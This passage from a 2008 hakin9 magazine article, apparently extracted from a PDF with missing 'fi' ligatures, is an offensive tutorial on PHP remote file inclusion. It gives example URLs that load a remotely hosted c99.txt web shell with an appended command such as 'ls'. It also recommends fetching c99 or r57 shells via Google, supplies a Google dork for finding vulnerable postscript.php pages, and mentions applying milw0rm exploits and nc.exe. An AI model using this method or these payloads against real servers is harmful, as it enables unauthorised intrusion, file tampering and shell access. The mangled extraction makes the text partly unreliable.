RFI, LFI
43
hakin9 1/2008www.hakin9.org/en
edit
the given variable by placing a
?
at the end of the selected le, anddening the variable from there. Wecan redene the variable at this pointto some other server's text le else-where that contains PHP. Please, notethat the following situation will be moregeared towards executing a
shell
with-in the provided web server. You mayask: Why only
.txt
? Since this remoteinclusion will use the le as if it wasits own within the server, it is going totreat it as if it was a non-parsed PHPle that needs parsing! Thus, if youwere to take the given text within thetext le and parsed it as PHP, it wouldeventually execute the remotely sup-plied code. Take this as an example:
http://lameserver-example.com/ index.php?base_path=http://another server.com/test.txt?cmd_here
This is an explanation:
lame-server-example.com
is the base tar-geted URL,
index.php
is the le thatis being exploited,
?
is to allow us totweak the so called blind le to make
base _ path
(the variable) to equalanother le elsewhere. The
text.txt
will be parsed with the command af-ter the
?
. So far, we have our targetand we know that it will display thetext in a parsed manner. We can seehow valuable this concept really is.You will most likely wish to view andmanipulate the les within the server,possibly even
tweak
them a bit for theadministrator. Thankfully, someonehas already done all of this work for us – there is a
shell
called
c99.txt
.Certainly, there are many shells avail-able that are written for situationssuch as these; one other commonshell is
r57.txt
. However,
c99.txt
isa
web-GUI
command prompt basedshell that has the ability to executemost commands that you would usu-ally execute within a bash shell, suchas
ls
,
cd
,
mkdir
, etc. Most importantly,it gives you the ability to see what lesare on the supplied exploited server,and the ability to manipulate them atwill. First off, you need to nd a shellthat can perform the dirty deed. UseGoogle to search for
inurl:c99.txt
.Download it and upload elsewhere tobe used as a text document (
*.txt
). Letus see what the command will looklike once executed within our brows-er:
http://lameserver-example.com/ index.php?base_path=http://another server.com/c99.txt?ls
The only code that changed wasthat we placed our directory andlename for the shell that neededto be parsed. If all went well, we willnow have our shell looking insidethe web server, and will have theability to manipulate our
index.php
to anything we please. The extra bitof code at the end of the questionmark executes the bash commandcalled
ls
, which displays all the leswithin the current directory that thestring of text is being executed with-in. Now let us try out an example of this in the real world (ahem, etherealworld, rather).The majority of people who donot feel like doing the work to ndexploits, normally search in large da-tabases, such as
milw0rm
for a publicexploit, then apply it in the manner given. Other people either use scan-ners, or
Google dorks
. The moretechnically savvy tend to develop their own exploits after studying the scriptfor
holes
, and either keep it as their own exploit, or submit as the
0day
.A Google dork is the act of harness-ing Google's provided tools/phrasesto help lter out what you are brows-ing for. The most success I have hadwhen searching for a particularlyvulnerable page has been with thesearch method of:
"allinurl:postscript.php?p_mode="
Once my target has been found, I trymy code found within the
milw0rm
database. All you need to do nowis to nd what inclusion variable is inuse and add a
?
after the index.phpalong with the command and thele of ours, conveniently located
Figure 2.
RFI found
Figure 1.
RFI search
Note for Clarication
There are two assumptions being made; one of which is that you understand thatnc.exe is a Windows executable le being executed on your assumed operating sys-tem of choice, and secondly, you would use an alternative to this application to workproperly if using another OS.
Add a Comment
This document has made it onto the Rising list!